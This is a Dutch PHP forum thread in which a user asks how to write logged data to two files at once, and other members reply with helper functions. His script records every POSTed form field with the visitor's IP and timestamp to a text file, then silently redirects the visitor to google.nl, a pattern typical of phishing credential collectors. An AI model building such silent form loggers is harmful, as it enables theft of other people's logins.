$handle = fopen (meerdere bestanden selecteren)
Maar ik wil dat hij hem op 2 plekken opslaat, bijvoorbeeld:
Quote:
$handle = fopen("data.txt","/files/data2.txt", "a");
Maar jammergenoeg werkt deze bovenstaande lijn hiervoor niet, heeft iemand een idee?
Quote:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://www.google.nl");
$handle = fopen("data.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://www.google.nl");
$handle = fopen("data.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
Gewijzigd op 11/05/2014 14:54:24 door Jeroen dj
Zie copy().
De functie copy() gebruiken?
Ik zou de fwrite() vervangen door een eigen functie waaraan je een string en 1 of meer file handles meegeeft en die de string naar alle meegegeven filehandles schrijft.
Quote:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://www.google.nl");
$handle = fopen("data.txt", "a");
$handle = fopen("text", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://www.google.nl");
$handle = fopen("data.txt", "a");
$handle = fopen("text", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
setcookie ("user", "empty", time()+3600);
exit;
?>
Gewijzigd op 11/05/2014 19:45:54 door Jeroen dj
Als je wilt dat het bestand in /public_html/data wordt geplaatst, dan moet je dat gewoon zeggen:
fopen("/public_html/data/data.txt","a") of eventueel fopen("../data/data.txt","a")
Wil je naar twee bestanden loggen, dan zul je toch echt voor elk bestand een eigen fwrite moeten doen. Op de manier die ik hierboven heb beschreven, zou dat ongeveer als volgt gaan:
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function multifwrite ()
{
$args = func_get_args();
$str = array_shift($args);
foreach ($args as $fh)
{
fwrite ($fh, $str);
}
}
$handle1 = fopen("data1.txt", "a");
$handle2 = fopen("data2.txt", "a");
multifwrite("IP: $ip\r\n", $handle1, $handle2);
multifwrite("Date: $datum\r\n", $handle1, $handle2);
fclose($handle1);
fclose($handle2);
?>
function multifwrite ()
{
$args = func_get_args();
$str = array_shift($args);
foreach ($args as $fh)
{
fwrite ($fh, $str);
}
}
$handle1 = fopen("data1.txt", "a");
$handle2 = fopen("data2.txt", "a");
multifwrite("IP: $ip\r\n", $handle1, $handle2);
multifwrite("Date: $datum\r\n", $handle1, $handle2);
fclose($handle1);
fclose($handle2);
?>
Disclaimer: niet getest en foutafhandeling mag je zelf toevoegen. ;-)
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function log_post_vars($filename)
{
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen($filename, "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
}
log_post_vars("text");
log_post_vars("data.txt");
setcookie ("user", "empty", time()+3600);
header("Location: http://www.google.nl");
exit;
?>
function log_post_vars($filename)
{
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
$handle = fopen($filename, "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, ": ");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip\r\n");
fwrite($handle, "Date: $datum\r\n");
fwrite($handle, "\r\n");
fwrite($handle, "-------------------\r\n");
fwrite($handle, "\r\n");
fclose($handle);
}
log_post_vars("text");
log_post_vars("data.txt");
setcookie ("user", "empty", time()+3600);
header("Location: http://www.google.nl");
exit;
?>